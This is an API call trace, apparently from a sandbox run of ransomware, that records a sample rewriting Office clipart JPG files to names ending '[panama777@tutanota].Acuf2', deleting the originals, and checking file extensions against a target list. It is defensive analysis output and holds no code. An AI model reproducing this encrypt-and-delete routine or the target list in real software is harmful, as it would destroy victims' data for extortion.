	[0277.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0277.116] GetLastError () returned 0x0
	[0277.116] ReadFile (in: hFile=0x394, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x9d27, lpOverlapped=0x0) returned 1
	[0277.130] WriteFile (in: hFile=0x390, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x9d30, lpOverlapped=0x0) returned 1
	[0277.132] ReadFile (in: hFile=0x394, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0277.132] WriteFile (in: hFile=0x390, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0277.132] SetEndOfFile (hFile=0x390) returned 1
	[0277.132] CloseHandle (hObject=0x390) returned 1
	[0277.132] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.132] SetEndOfFile (hFile=0x394) returned 1
	[0277.134] CloseHandle (hObject=0x394) returned 1
	[0277.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0277.134] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg")) returned 1
	[0277.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63
	[0277.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63
	[0277.135] lstrlenW (lpString=".doc") returned 4
	[0277.135] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0277.135] lstrlenW (lpString=".docx") returned 5
	[0277.135] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1
	[0277.135] lstrlenW (lpString=".pdf") returned 4
	[0277.135] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0277.135] lstrlenW (lpString=".xls") returned 4
	[0277.135] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0277.135] lstrlenW (lpString=".xlsx") returned 5
	[0277.135] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1
	[0277.135] lstrlenW (lpString=".ppt") returned 4
	[0277.135] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0277.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63
	[0277.135] lstrlenW (lpString=".zip") returned 4
	[0277.135] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0277.135] lstrlenW (lpString=".rar") returned 4
	[0277.135] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0277.135] lstrlenW (lpString=".bz2") returned 4
	[0277.135] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0277.135] lstrlenW (lpString=".7z") returned 3
	[0277.135] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0277.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63
	[0277.135] lstrlenW (lpString=".dbf") returned 4
	[0277.135] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0277.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63
	[0277.136] lstrlenW (lpString=".1cd") returned 4
	[0277.136] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0277.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned 63
	[0277.136] lstrlenW (lpString=".jpg") returned 4
	[0277.136] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0277.141] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.141] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0277.142] GetLastError () returned 0x0
	[0277.142] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xc056, lpOverlapped=0x0) returned 1
	[0277.147] WriteFile (in: hFile=0x358, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xc060, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xc060, lpOverlapped=0x0) returned 1
	[0277.148] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0277.148] WriteFile (in: hFile=0x358, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0277.148] SetEndOfFile (hFile=0x358) returned 1
	[0277.148] CloseHandle (hObject=0x358) returned 1
	[0277.148] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.148] SetEndOfFile (hFile=0x388) returned 1
	[0277.151] CloseHandle (hObject=0x388) returned 1
	[0277.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0277.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg")) returned 1
	[0277.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63
	[0277.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63
	[0277.152] lstrlenW (lpString=".doc") returned 4
	[0277.152] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0277.152] lstrlenW (lpString=".docx") returned 5
	[0277.152] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0277.152] lstrlenW (lpString=".pdf") returned 4
	[0277.152] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0277.152] lstrlenW (lpString=".xls") returned 4
	[0277.152] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0277.152] lstrlenW (lpString=".xlsx") returned 5
	[0277.152] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0277.152] lstrlenW (lpString=".ppt") returned 4
	[0277.152] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0277.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63
	[0277.152] lstrlenW (lpString=".zip") returned 4
	[0277.152] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0277.152] lstrlenW (lpString=".rar") returned 4
	[0277.152] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0277.152] lstrlenW (lpString=".bz2") returned 4
	[0277.152] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0277.152] lstrlenW (lpString=".7z") returned 3
	[0277.152] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0277.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63
	[0277.152] lstrlenW (lpString=".dbf") returned 4
	[0277.153] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0277.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63
	[0277.153] lstrlenW (lpString=".1cd") returned 4
	[0277.153] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0277.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63
	[0277.153] lstrlenW (lpString=".jpg") returned 4
	[0277.153] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0277.153] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.153] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0277.154] GetLastError () returned 0x0
	[0277.154] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x45cb, lpOverlapped=0x0) returned 1
	[0277.162] WriteFile (in: hFile=0x358, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x45d0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x45d0, lpOverlapped=0x0) returned 1
	[0277.163] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0277.163] WriteFile (in: hFile=0x358, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0277.163] SetEndOfFile (hFile=0x358) returned 1
	[0277.164] CloseHandle (hObject=0x358) returned 1
	[0277.164] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.164] SetEndOfFile (hFile=0x388) returned 1
	[0277.166] CloseHandle (hObject=0x388) returned 1
	[0277.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0277.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg")) returned 1
	[0277.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63
	[0277.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63
	[0277.166] lstrlenW (lpString=".doc") returned 4
	[0277.166] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0277.166] lstrlenW (lpString=".docx") returned 5
	[0277.166] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1
	[0277.166] lstrlenW (lpString=".pdf") returned 4
	[0277.166] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0277.166] lstrlenW (lpString=".xls") returned 4
	[0277.166] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0277.166] lstrlenW (lpString=".xlsx") returned 5
	[0277.166] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1
	[0277.166] lstrlenW (lpString=".ppt") returned 4
	[0277.167] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0277.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63
	[0277.167] lstrlenW (lpString=".zip") returned 4
	[0277.167] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0277.167] lstrlenW (lpString=".rar") returned 4
	[0277.167] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0277.167] lstrlenW (lpString=".bz2") returned 4
	[0277.167] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0277.167] lstrlenW (lpString=".7z") returned 3
	[0277.167] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0277.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63
	[0277.167] lstrlenW (lpString=".dbf") returned 4
	[0277.167] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0277.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63
	[0277.167] lstrlenW (lpString=".1cd") returned 4
	[0277.167] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0277.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63
	[0277.167] lstrlenW (lpString=".jpg") returned 4
	[0277.167] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0277.168] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.168] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0277.168] GetLastError () returned 0x0
	[0277.168] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x8fd4, lpOverlapped=0x0) returned 1
	[0277.177] WriteFile (in: hFile=0x358, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x8fe0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x8fe0, lpOverlapped=0x0) returned 1
	[0277.178] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0277.178] WriteFile (in: hFile=0x358, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0277.178] SetEndOfFile (hFile=0x358) returned 1
	[0277.178] CloseHandle (hObject=0x358) returned 1
	[0277.178] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.178] SetEndOfFile (hFile=0x388) returned 1
	[0277.182] CloseHandle (hObject=0x388) returned 1
	[0277.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0277.191] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg")) returned 1
	[0277.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63
	[0277.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63
	[0277.192] lstrlenW (lpString=".doc") returned 4
	[0277.192] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0277.192] lstrlenW (lpString=".docx") returned 5
	[0277.192] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0277.192] lstrlenW (lpString=".pdf") returned 4
	[0277.192] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0277.192] lstrlenW (lpString=".xls") returned 4
	[0277.192] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0277.192] lstrlenW (lpString=".xlsx") returned 5
	[0277.192] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0277.192] lstrlenW (lpString=".ppt") returned 4
	[0277.192] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0277.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63
	[0277.192] lstrlenW (lpString=".zip") returned 4
	[0277.192] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0277.192] lstrlenW (lpString=".rar") returned 4
	[0277.192] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0277.192] lstrlenW (lpString=".bz2") returned 4
	[0277.192] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0277.192] lstrlenW (lpString=".7z") returned 3
	[0277.192] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0277.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63
	[0277.193] lstrlenW (lpString=".dbf") returned 4
	[0277.193] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0277.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63
	[0277.193] lstrlenW (lpString=".1cd") returned 4
	[0277.193] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0277.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63
	[0277.193] lstrlenW (lpString=".jpg") returned 4
	[0277.193] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0277.193] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.194] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0277.194] GetLastError () returned 0x0
	[0277.194] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x84a6, lpOverlapped=0x0) returned 1
	[0277.196] WriteFile (in: hFile=0x394, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x84b0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x84b0, lpOverlapped=0x0) returned 1
	[0277.197] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0277.197] WriteFile (in: hFile=0x394, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0277.197] SetEndOfFile (hFile=0x394) returned 1
	[0277.197] CloseHandle (hObject=0x394) returned 1
	[0277.197] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.197] SetEndOfFile (hFile=0x388) returned 1
	[0277.200] CloseHandle (hObject=0x388) returned 1
	[0277.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0277.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg")) returned 1
	[0277.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63
	[0277.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63
	[0277.200] lstrlenW (lpString=".doc") returned 4
	[0277.200] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0277.200] lstrlenW (lpString=".docx") returned 5
	[0277.200] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0277.200] lstrlenW (lpString=".pdf") returned 4
	[0277.200] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0277.201] lstrlenW (lpString=".xls") returned 4
	[0277.201] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0277.201] lstrlenW (lpString=".xlsx") returned 5
	[0277.201] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0277.201] lstrlenW (lpString=".ppt") returned 4
	[0277.201] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0277.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63
	[0277.201] lstrlenW (lpString=".zip") returned 4
	[0277.201] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0277.201] lstrlenW (lpString=".rar") returned 4
	[0277.201] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0277.201] lstrlenW (lpString=".bz2") returned 4
	[0277.201] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0277.201] lstrlenW (lpString=".7z") returned 3
	[0277.201] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0277.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63
	[0277.201] lstrlenW (lpString=".dbf") returned 4
	[0277.201] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0277.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63
	[0277.201] lstrlenW (lpString=".1cd") returned 4
	[0277.201] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0277.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63
	[0277.201] lstrlenW (lpString=".jpg") returned 4
	[0277.201] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0277.202] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.202] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0277.202] GetLastError () returned 0x0
	[0277.202] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x9a76, lpOverlapped=0x0) returned 1
	[0277.204] WriteFile (in: hFile=0x394, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x9a80, lpOverlapped=0x0) returned 1
	[0277.205] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0277.205] WriteFile (in: hFile=0x394, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0277.205] SetEndOfFile (hFile=0x394) returned 1
	[0277.205] CloseHandle (hObject=0x394) returned 1
	[0277.205] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.205] SetEndOfFile (hFile=0x388) returned 1
